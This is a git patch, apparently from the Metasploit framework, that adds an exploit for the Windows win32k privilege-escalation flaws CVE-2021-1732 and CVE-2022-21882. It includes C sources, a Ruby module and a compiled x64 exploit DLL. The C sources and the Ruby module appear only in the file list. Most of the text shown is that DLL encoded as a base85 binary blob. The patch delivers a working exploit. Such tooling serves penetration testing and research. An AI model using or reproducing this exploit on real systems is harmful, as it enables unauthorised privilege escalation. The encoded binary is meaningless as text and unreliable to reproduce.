From d92259f8689079b3fdc9a8645cb5555f2aadeb1f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 8 Feb 2022 16:54:53 -0500 Subject: [PATCH] One exploit for CVE-2021-1732 and CVE-2022-21882 --- .../CVE-2022-21882/CVE-2022-21882.x64.dll | Bin 0 -> 111104 bytes .../source/exploits/CVE-2022-21882/.gitignore | 2 + .../CVE-2022-21882/CVE-2022-21882.sln | 31 ++ .../CVE-2022-21882/CVE-2022-21882.vcxproj | 243 ++++++++++ .../source/exploits/CVE-2022-21882/dllmain.c | 38 ++ .../source/exploits/CVE-2022-21882/exploit.c | 437 ++++++++++++++++++ .../source/exploits/CVE-2022-21882/exploit.h | 48 ++ external/source/include/windows/common.h | 8 +- external/source/include/windows/definitions.h | 16 + .../windows/local/cve_2022_21882_win32k.rb | 102 ++++ 10 files changed, 924 insertions(+), 1 deletion(-) create mode 100755 data/exploits/CVE-2022-21882/CVE-2022-21882.x64.dll create mode 100644 external/source/exploits/CVE-2022-21882/.gitignore create mode 100755 external/source/exploits/CVE-2022-21882/CVE-2022-21882.sln create mode 100755 external/source/exploits/CVE-2022-21882/CVE-2022-21882.vcxproj create mode 100755 external/source/exploits/CVE-2022-21882/dllmain.c create mode 100755 external/source/exploits/CVE-2022-21882/exploit.c create mode 100755 external/source/exploits/CVE-2022-21882/exploit.h create mode 100644 modules/exploits/windows/local/cve_2022_21882_win32k.rb diff --git a/data/exploits/CVE-2022-21882/CVE-2022-21882.x64.dll b/data/exploits/CVE-2022-21882/CVE-2022-21882.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..e8297cb6dd1ae1089f71353c6f5ded3a702c701c GIT binary patch literal 111104 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 